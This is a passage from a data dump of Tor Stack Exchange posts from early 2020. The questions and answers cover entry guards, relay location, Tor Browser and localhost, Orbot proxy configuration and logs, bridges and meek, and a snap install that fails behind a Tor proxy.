  <row Id="20901" PostTypeId="2" ParentId="20900" CreationDate="2020-02-12T20:30:38.940" Score="0" Body="&lt;p&gt;Here are the entries from the &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;NumEntryGuards NUM&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;If UseEntryGuards is set to 1, we will try to pick&#xA;a total of NUM routers as long-term entries for our circuits. If NUM&#xA;is 0, we try to learn the number from the&#xA;guard-n-primary-guards-to-use consensus parameter, and default to 1 if&#xA;the consensus parameter isn’t set. (Default: 0)&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;NumDirectoryGuards NUM&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;If UseEntryGuards is set to 1, we try to make&#xA;sure we have at least NUM routers to use as directory guards. If this&#xA;option is set to 0, use the value from the&#xA;guard-n-primary-dir-guards-to-use consensus parameter, and default to&#xA;3 if the consensus parameter isn’t set. (Default: 0)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Neither will directly affect your anonymity though it is certainly not be a bad thing. Please see the &lt;a href=&quot;https://2019.www.torproject.org/docs/faq.html.en#EntryGuards&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;FAQ&lt;/strong&gt;&lt;/a&gt; about this:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Suppose the attacker controls, or can observe, C relays. Suppose there&#xA;are N relays total. If you select new entry and exit relays each time&#xA;you use the network, the attacker will be able to correlate all&#xA;traffic you send with probability around (c/n)2. But profiling is, for&#xA;most users, as bad as being traced all the time: they want to do&#xA;something often without an attacker noticing, and the attacker&#xA;noticing once is as bad as the attacker noticing more often. Thus,&#xA;choosing many random entries and exits gives the user no chance of&#xA;escaping profiling by this kind of attacker.&lt;/p&gt;&#xA;&lt;p&gt;The solution is &amp;quot;entry guards&amp;quot;: each Tor client selects &lt;strong&gt;a few relays&#xA;at random&lt;/strong&gt; to use as entry points, and uses only those relays for her&#xA;first hop. If those relays are not controlled or observed, the&#xA;attacker can't win, ever, and the user is secure. If those relays are&#xA;observed or controlled by the attacker, the attacker sees a larger&#xA;fraction of the user's traffic — but still the user is no more&#xA;profiled than before. Thus, the user has some chance (on the order of&#xA;(n-c)/n) of avoiding profiling, whereas she had none before.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;How many is &amp;quot;a few&amp;quot;? I don't know. It doesn't say. If you are not seeing 3 now and you raise it to 3, then it's not going to hurt anything. If you are seeing more than that, then it lowering it to 3 could make problems per the FAQ.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2020-02-12T20:30:38.940" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20904" PostTypeId="2" ParentId="20896" CreationDate="2020-02-14T11:52:09.490" Score="0" Body="&lt;p&gt;As @adriann said in the comments, the following command should do the job:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install python3-distutils&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2020-02-14T11:52:09.490" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20905" PostTypeId="1" CreationDate="2020-02-14T20:35:25.460" Score="0" ViewCount="96" Body="&lt;p&gt;Are relays chosen by location proximity, e.g. county, for circuit building?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that there &lt;a href=&quot;https://tor.stackexchange.com/a/1659/28661&quot;&gt;exists some rules&lt;/a&gt; but I didn't read anything about location. If the location of a client is not considered, does this mean that almost all the traffic from, e.g., Asian clients gets routed through Europe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a lack of relays in Asia due to bandwidth limitations of hosting providers. But I would assume, that it would make sense to localize the circuit building to keep circuit round-trip latencies low. If the relay selection is mainly done based on available bandwidth, relays from Europe will always be preferred (and thus provide high latencies for Asian clients).&lt;/p&gt;&#xA;" OwnerDisplayName="user28661" LastEditorUserId="28418" LastEditDate="2020-02-15T13:34:38.657" LastActivityDate="2022-03-06T23:02:55.310" Title="Are relays chosen by location proximity, e.g. county, for circuit building?" Tags="|relays|onion-routing|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20906" PostTypeId="1" CreationDate="2020-02-13T07:25:58.670" Score="1" ViewCount="1843" Body="&lt;p&gt;I want to access localhost from Tor browser but after I go to the &lt;code&gt;http://localhost:8000/&lt;/code&gt; URL nothing happens. It's working fine on Chrome, Mozilla Firefox and other browsers. Why can't I access localhost from Tor browser?&lt;/p&gt;&#xA;" OwnerDisplayName="Kundan" LastEditorUserId="14997" LastEditDate="2020-03-25T18:25:32.920" LastActivityDate="2022-12-10T04:09:06.193" Title="Why can't I access localhost from Tor browser?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20907" PostTypeId="2" ParentId="20906" CreationDate="2020-02-13T07:31:16.417" Score="0" Body="&lt;p&gt;To my knowledge, tor “relocates” you so you can not see anything local. You can be in Mexico and in Russia on the next page, so that might be why. Tbh I don’t see the point of using thor for localhost projects. You can mod firefox&lt;/p&gt;&#xA;" OwnerDisplayName="DrBeast" LastActivityDate="2020-02-13T07:31:16.417" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20908" PostTypeId="2" ParentId="20905" CreationDate="2020-02-15T18:50:18.760" Score="0" Body="&lt;p&gt;Relay locations are are not chosen by location, but you do have the &lt;a href=&quot;https://support.torproject.org/tbb/tbb-16/&quot; rel=&quot;nofollow noreferrer&quot;&gt;option&lt;/a&gt; of limiting locations where you can get exit nodes though this will also limit your anonymity.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-02-15T18:50:18.760" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20909" PostTypeId="2" ParentId="20906" CreationDate="2020-02-15T19:11:07.170" Score="0" Body="&lt;p&gt;This question was already answered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://tor.stackexchange.com/questions/20854/exclude-ip-addresses-where-has-it-gone/20868#20868&quot;&gt;Exclude IP addresses - where has it gone?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I received the answer directly from Tor developers on the mailing list.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-02-15T19:11:07.170" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20910" PostTypeId="2" ParentId="20482" CreationDate="2020-02-16T15:03:19.567" Score="0" Body="&lt;p&gt;As for why, you would need to ask the developers directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to add you own, please see the answer in &quot;&lt;a href=&quot;https://tor.stackexchange.com/questions/20704/special-search-in-tor&quot;&gt;Special search in tor&lt;/a&gt;&quot;. No extra addons are needed and it will not increase your fingerprintability as long as the service truly down not track users. If it does, then it is the same as any other non-private search engine.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-02-16T15:03:19.567" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20911" PostTypeId="2" ParentId="6448" CreationDate="2020-02-16T16:39:45.290" Score="0" Body="&lt;p&gt;Just simple windows command line to generate the HashedControlPassword&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C:/path_to_tor/tor.exe --hash-password mypassword &gt; tor-password.txt&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cd C:/path_to_tor&#xA;C:/path_to_tor: tor.exe --hash-password mypassword &gt; tor-password.txt&lt;/p&gt;&#xA;" OwnerUserId="28667" LastActivityDate="2020-02-16T16:39:45.290" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20913" PostTypeId="1" AcceptedAnswerId="20914" CreationDate="2020-02-17T08:18:30.047" Score="1" ViewCount="77" Body="&lt;p&gt;My question is about how TOR handles routing of traffic. Here's the situation: User has laptop1 and  server1 on a LAN. The server runs a hidden service (say a webserver) sharing over TOR only, i.e. open to localhost only, at xxyyzzaabbcc.onion. The server allows TOR proxy connections from the LAN. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the user points configures his laptop to use server1:9050 as a proxy and navigates to xxyyzzaabbcc.onion, does the local TOR instance on server 1 recognize that traffic as local and simply forward the request to localhost, or does the traffic first go out over the TOR network, then back to server1's localhost to get to the webserver?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put another way, if someone on the LAN uses server1's proxy to access that proxy's hidden service, does the traffic stay local?&lt;/p&gt;&#xA;" OwnerUserId="24942" OwnerDisplayName="Mike" LastActivityDate="2020-02-17T15:00:05.807" Title="TOR routing when using an open TOR proxy" Tags="|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20914" PostTypeId="2" ParentId="20913" CreationDate="2020-02-17T15:00:05.807" Score="0" Body="&lt;p&gt;Even if the laptop and the server with the onion service were on the same network. If you connect to the onion service from the laptop, it would still go out to the Tor network, and then back in as if it were someone else. It is not aware of local traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though this might seem like wasted bandwidth, this is a good thing because it protects your anonymity by always requiring connections through Tor and not through some shortcut local connection that can be monitored without the security of the Tor network.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-02-17T15:00:05.807" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20915" PostTypeId="1" AcceptedAnswerId="20916" CreationDate="2020-02-17T16:22:58.650" Score="0" ViewCount="642" Body="&lt;p&gt;Firefox Nightly recently updated to the new UI they beta'd under the Firefox Preview moniker. The proxy settings I had in &lt;code&gt;about:config&lt;/code&gt; got wiped out but reinstating the exact same settings is getting me the following message in the browser, presumably from Orbot itself:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;This in HTTP CONNECT tunnel, not an HTTP proxy.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;It appears you have configured your web browser to use  this Tor port as an HTTP proxy.&lt;/p&gt;&#xA;&lt;p&gt;This is not correct: This port is configured as a CONNECT tunnel, not an HTTP proxy. Please configure your client accordingly. You can also use HTTPS; then the client should automatically use HTTP CONNECT.&lt;/p&gt;&#xA;&lt;p&gt;See &lt;a href=&quot;https://torproject.org/documentation.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://torproject.org/documentation.html&lt;/a&gt; for more information.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;These are the &lt;code&gt;about:config&lt;/code&gt; settings I've currently configured:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;network.proxy.http = 127.1&#xA;network.proxy.http_port = 8118&#xA;network.proxy.socks = 127.1&#xA;network.proxy.socks_port = 9050&#xA;network.proxy.ssl = 127.1&#xA;network.proxy.ssl_port = 8118&#xA;network.proxy.type = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Orbot itself also shows it's active on those ports:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/r7yyq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/r7yyq.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;On the same device, F-Droid configured to use Tor also functions without issue. Granted, I can't see what ports it uses by default, but such settings has gone unchanged before or after the aforementioned Firefox update.&lt;/p&gt;&#xA;" OwnerUserId="28673" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2022-10-29T18:08:20.280" Title="Android Firefox Nightly shows &quot;HTTP CONNECT tunnel&quot; after recent update" Tags="|firefox|orbot|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20916" PostTypeId="2" ParentId="20915" CreationDate="2020-02-17T16:41:13.457" Score="0" Body="&lt;p&gt;Never mind, I solved it: removing &lt;code&gt;network.proxy.http&lt;/code&gt; settings did the trick. Perhaps I didn't have this configured previously or the old Firefox Nightly automatically preferred the HTTPS proxy over the HTTP one and the behavior changed after the update, I don't know. Either way, there's no issue any more and everything is functioning as expected.&lt;/p&gt;&#xA;" OwnerUserId="28673" LastActivityDate="2020-02-17T16:41:13.457" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20917" PostTypeId="1" CreationDate="2020-02-17T20:18:22.740" Score="0" ViewCount="236" Body="&lt;p&gt;While there is a lot of issues concerning secure, private and anonymous Internet usage, there is little that focuses upon all the various parameters which may have a direct or even indirect bearing upon the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let us assume that I use Tails,and let us assume I use Tor on that OS.  Now I have an issue with what appears to be confusing and possibly conflicting information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I thought that using a VPN would help me, then the information at &lt;a href=&quot;https://tails.boum.org/blueprint/vpn_support/&quot; rel=&quot;nofollow noreferrer&quot;&gt;VPN Support&lt;/a&gt; seems to indicate it is not advised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I thought that using bridges thru pluggable transports was a good idea, then I would think that I would want Tor to request a bridge automatically from a list.  However, that looks like it is not possible to automate that process.  At the very least, I must select a built-in bridge, even though the text states, &quot;Unfortunately, because these bridges are publically distributed, it is easy for censors to block some of them, so some of them may not work.&quot;  Oh goody!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There seems to be too many gotcha's.  Exactly what is the best and most automate combination?&lt;/p&gt;&#xA;" OwnerUserId="19906" LastActivityDate="2021-12-16T04:02:30.210" Title="Most Secure Connection" Tags="|tails|vpn|pluggable-transports|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20918" PostTypeId="2" ParentId="20917" CreationDate="2020-02-17T20:51:19.200" Score="0" Body="&lt;p&gt;The best solution may be automated and the most automated solution may not be best. What does a bridge do? It helps to hide the fact that you are using Tor from your ISP? Do you have serious concerns about whether or not your ISP records or even cares about the fact that you are using Tor? If no, then this isn't an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, then it is worth taking the time to doing it right and not caring if an extra step or two is involved. Bridges are not published publicly because we don't want ISP's to block them. This is especially true when it comes to people who live in countries where Tor is outright illegal to use, so requesting them one at a time is a safer tradeoff than automation. If bridges aren't an option, there is also &lt;a href=&quot;https://snowflake.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Project Snowflake&lt;/a&gt; which should give much of the same benefit without needing to request a bridge.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-02-17T20:51:19.200" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20919" PostTypeId="1" CreationDate="2020-02-18T00:47:55.037" Score="0" ViewCount="261" Body="&lt;p&gt;I'm extremely new to Tor and Linux in general. I read that it's important to keep a Tor browser window open only at half-size and not open it to full-screen size to fit the monitor completely. Is this true? And if so, why?&lt;/p&gt;&#xA;" OwnerUserId="28678" LastActivityDate="2022-03-17T20:07:45.667" Title="Newbie Browser Window Size Question" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20920" PostTypeId="2" ParentId="20798" CreationDate="2020-02-18T09:58:55.110" Score="0" Body="&lt;p&gt;I am having a similar issue,  and I did try obs and meek, here are logs&lt;/p&gt;&#xA;&lt;h2&gt;without bridge&lt;/h2&gt;&#xA;&lt;p&gt;updating settings in Tor service&lt;/p&gt;&#xA;&lt;p&gt;updating torrc custom configuration&lt;/p&gt;&#xA;&lt;p&gt;success&lt;/p&gt;&#xA;&lt;p&gt;checking binary version: 0.4.1.5-rc-openssl1.0.2p&lt;/p&gt;&#xA;&lt;p&gt;Orbot is starting…&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Connecting to control port: 34447&lt;/li&gt;&#xA;&lt;li&gt;SUCCESS connected to Tor control port.&lt;/li&gt;&#xA;&lt;li&gt;SUCCESS - authenticated tor control port.&lt;/li&gt;&#xA;&lt;li&gt;Took ownership of tor control port.&lt;/li&gt;&#xA;&lt;li&gt;adding control port event handler&lt;/li&gt;&#xA;&lt;li&gt;SUCCESS added control port event handler&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Opening Socks listener on 127.0.0.1:9150&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Opened Socks listener on 127.0.0.1:9150&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Opening DNS listener on 127.0.0.1:5400&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Opened DNS listener on 127.0.0.1:5400&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Opening Transparent pf/netfilter listener on 127.0.0.1:9140&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Opened Transparent pf/netfilter listener on 127.0.0.1:9140&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Opening HTTP tunnel listener on 127.0.0.1:8218&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Opened HTTP tunnel listener on 127.0.0.1:8218&lt;/li&gt;&#xA;&lt;li&gt;Starting Tor client… complete.&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Bootstrapped 5% (conn): Connecting to a relay&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Bootstrapped 10% (conn_done): Connected to a relay&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;with OBS bridge&lt;/h2&gt;&#xA;&lt;p&gt;Connected to a relay&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;TorService is shutting down&lt;/li&gt;&#xA;&lt;li&gt;Using control port to shutdown Tor&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Closing no-longer-configured HTTP tunnel listener on 127.0.0.1:8218&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Closing no-longer-configured Socks listener on 127.0.0.1:9150&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Closing no-longer-configured DNS listener on 127.0.0.1:5400&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Closing no-longer-configured Transparent pf/netfilter listener on 127.0.0.1:9140&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&lt;/li&gt;&#xA;&lt;li&gt;sending HALT signal to Tor process&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Delaying directory fetches: DisableNetwork is set.&lt;/li&gt;&#xA;&lt;li&gt;Orbot is deactivated&lt;/li&gt;&#xA;&lt;li&gt;updating settings in Tor service&lt;/li&gt;&#xA;&lt;li&gt;updating torrc custom configuration...&lt;/li&gt;&#xA;&lt;li&gt;success.&lt;/li&gt;&#xA;&lt;li&gt;checking binary version: 0.4.1.5-rc-openssl1.0.2p&lt;/li&gt;&#xA;&lt;li&gt;Orbot is starting…&lt;/li&gt;&#xA;&lt;li&gt;Connecting to control port: 35095&lt;/li&gt;&#xA;&lt;li&gt;SUCCESS connected to Tor control port.&lt;/li&gt;&#xA;&lt;li&gt;SUCCESS - authenticated tor control port.&lt;/li&gt;&#xA;&lt;li&gt;Took ownership of tor control port.&lt;/li&gt;&#xA;&lt;li&gt;adding control port event handler&lt;/li&gt;&#xA;&lt;li&gt;SUCCESS added control port event handler&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Opening Socks listener on 127.0.0.1:9150&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Opened Socks listener on 127.0.0.1:9150&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Opening DNS listener on 127.0.0.1:5400&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Opened DNS listener on 127.0.0.1:5400&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Opening Transparent pf/netfilter listener on 127.0.0.1:9140&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Opened Transparent pf/netfilter listener on 127.0.0.1:9140&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Opening HTTP tunnel listener on 127.0.0.1:8218&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Opened HTTP tunnel listener on 127.0.0.1:8218&lt;/li&gt;&#xA;&lt;li&gt;Starting Tor client… complete.&lt;/li&gt;&#xA;&lt;li&gt;WARN: Managed proxy at '/data/app/org.torproject.torbrowser-My2Pt4nxrL-huBnRYMGrBg==/lib/arm64/libObfs4proxy.so' reported: error: &amp;quot;/data/app/org.torproject.torbrowser-My2Pt4nxrL-huBnRYMGrBg==/lib/arm64/libObfs4proxy.so&amp;quot;: executable's TLS segment is underaligned: alignment is 8, needs to be at least 64 for ARM64 Bionic&lt;/li&gt;&#xA;&lt;li&gt;WARN: Pluggable Transport process terminated with status code 6&lt;/li&gt;&#xA;&lt;li&gt;TorService is shutting down&lt;/li&gt;&#xA;&lt;li&gt;Using control port to shutdown Tor&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Closing no-longer-configured HTTP tunnel listener on 127.0.0.1:8218&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Closing no-longer-configured Socks listener on 127.0.0.1:9150&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Closing no-longer-configured DNS listener on 127.0.0.1:5400&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Closing no-longer-configured Transparent pf/netfilter listener on 127.0.0.1:9140&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&lt;/li&gt;&#xA;&lt;li&gt;sending HALT signal to Tor process&lt;/li&gt;&#xA;&lt;li&gt;Orbot is deactivated&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;and with MEEK&lt;/h2&gt;&#xA;&lt;p&gt;TorService is shutting down&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Orbot is deactivated&lt;/li&gt;&#xA;&lt;li&gt;updating settings in Tor service&lt;/li&gt;&#xA;&lt;li&gt;updating torrc custom configuration...&lt;/li&gt;&#xA;&lt;li&gt;success.&lt;/li&gt;&#xA;&lt;li&gt;checking binary version: 0.4.1.5-rc-openssl1.0.2p&lt;/li&gt;&#xA;&lt;li&gt;Orbot is starting…&lt;/li&gt;&#xA;&lt;li&gt;Connecting to control port: 33209&lt;/li&gt;&#xA;&lt;li&gt;SUCCESS connected to Tor control port.&lt;/li&gt;&#xA;&lt;li&gt;SUCCESS - authenticated tor control port.&lt;/li&gt;&#xA;&lt;li&gt;Took ownership of tor control port.&lt;/li&gt;&#xA;&lt;li&gt;adding control port event handler&lt;/li&gt;&#xA;&lt;li&gt;SUCCESS added control port event handler&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Opening Socks listener on 127.0.0.1:9150&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Opened Socks listener on 127.0.0.1:9150&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Opening DNS listener on 127.0.0.1:5400&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Opened DNS listener on 127.0.0.1:5400&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Opening Transparent pf/netfilter listener on 127.0.0.1:9140&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Opened Transparent pf/netfilter listener on 127.0.0.1:9140&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Opening HTTP tunnel listener on 127.0.0.1:8218&lt;/li&gt;&#xA;&lt;li&gt;NOTICE: Opened HTTP tunnel listener on 127.0.0.1:8218&lt;/li&gt;&#xA;&lt;li&gt;Starting Tor client… complete.&lt;/li&gt;&#xA;&lt;li&gt;WARN: Managed proxy at '/data/app/org.torproject.torbrowser-My2Pt4nxrL-huBnRYMGrBg==/lib/arm64/libObfs4proxy.so' reported: error: &amp;quot;/data/app/org.torproject.torbrowser-My2Pt4nxrL-huBnRYMGrBg==/lib/arm64/libObfs4proxy.so&amp;quot;: executable's TLS segment is underaligned: alignment is 8, needs to be at least 64 for ARM64 Bionic&lt;/li&gt;&#xA;&lt;li&gt;WARN: Pluggable Transport process terminated with status code 6&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="28680" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2020-02-18T10:08:38.510" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20921" PostTypeId="1" CreationDate="2020-02-18T11:20:35.437" Score="0" ViewCount="655" Body="&lt;p&gt;Below is the first thing that pops up when I run Nyx.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Warn]Pluggable Transport process terminated with status code 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notices.log:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feb 18 07:41:42.000 [notice] Registered server transport 'obfs4' at '[::]:6969'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feb 18 07:41:44.000 [notice] Self-testing indicates your ORPort is reachable from the outside. Excellent. Publishing server descriptor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feb 18 07:41:48.000 [notice] Performing bandwidth self-test...done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feb 18 07:47:43.000 [notice] New control connection opened from 127.0.0.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feb 18 08:30:04.000 [notice] Received reload signal (hup). Reloading&#xA;config and resetting internal state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feb 18 08:30:04.000 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feb 18 08:30:04.000 [notice] Tor 0.4.2.6 opening log file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feb 18 08:30:04.000 [warn] Pluggable Transport process terminated with status code 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feb 18 08:33:31.000 [notice] New control connection opened from 127.0.0.1.&lt;/p&gt;&#xA;" OwnerUserId="19670" LastActivityDate="2020-05-31T10:08:42.760" Title="Tor Bridge Issue" Tags="|bridge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20922" PostTypeId="1" CreationDate="2020-02-18T13:20:18.140" Score="0" ViewCount="376" Body="&lt;p&gt;I have setup the Tor browser bundle to use meek/bridges, etc... But I am trying to also use meek with the Tor expert bundle (Tor as as service) and I have no idea how to, I have Google and searched this to death. So I post it here in the hopes that someone can help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="28681" LastActivityDate="2023-06-08T18:22:07.007" Title="How to use meek with Tor expert bundle?" Tags="|windows|bridge|meek|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20923" PostTypeId="2" ParentId="20922" CreationDate="2020-02-18T15:16:16.910" Score="0" Body="&lt;p&gt;torproject.org should be your first go to place. Here's the page for &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/meek&quot; rel=&quot;nofollow noreferrer&quot;&gt;meek&lt;/a&gt;. I found this from on the page for &lt;a href=&quot;https://2019.www.torproject.org/docs/bridges.html.en#Understanding&quot; rel=&quot;nofollow noreferrer&quot;&gt;bridges&lt;/a&gt; on the main &lt;a href=&quot;https://2019.www.torproject.org/docs/documentation&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Honestly, reading through this documentation, it looks like this is not a task for a beginners and it is also not free because you will need to buy your own cloud service from Amazon or Azure instead of using Tor's. My suggestion would be to ask this question on the &lt;a href=&quot;https://lists.torproject.org/cgi-bin/mailman/listinfo&quot; rel=&quot;nofollow noreferrer&quot;&gt;tor-talk mailing list&lt;/a&gt; to see if there exists an updated guide for Tor expert bundle that uses Tor's existing meek bridges.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-02-18T15:16:16.910" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20927" PostTypeId="1" CreationDate="2020-02-20T02:43:19.220" Score="0" ViewCount="747" Body="&lt;p&gt;I am trying to use Snapd to install an app. I enter in the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo snap install hello-world&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the error message is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error: cannot install “hello-world”: Post&#xA;https://api.snapcraft.io/v2/snaps/refresh: dial tcp: lookup&#xA;api.snapcraft.io on 127.0.0.1:53: write udp&#xA;127.0.0.1:36259-&amp;gt;127.0.0.1:53: write: operation not permitted&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I asked someone else for advice, and they recommended:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo snap set system proxy.http=http://127.0.0.1:9050&#xA;&#xA;sudo snap set system proxy.https=http://127.0.0.1:9050&#xA;&#xA;sudo systemctl restart snapd&#xA;&#xA;sudo snap install hello-world&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, that didn't work either:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error: cannot install “hello-world”: Post&#xA;https://api.snapcraft.io/v2/snaps/refresh: proxyconnect tcp: dial 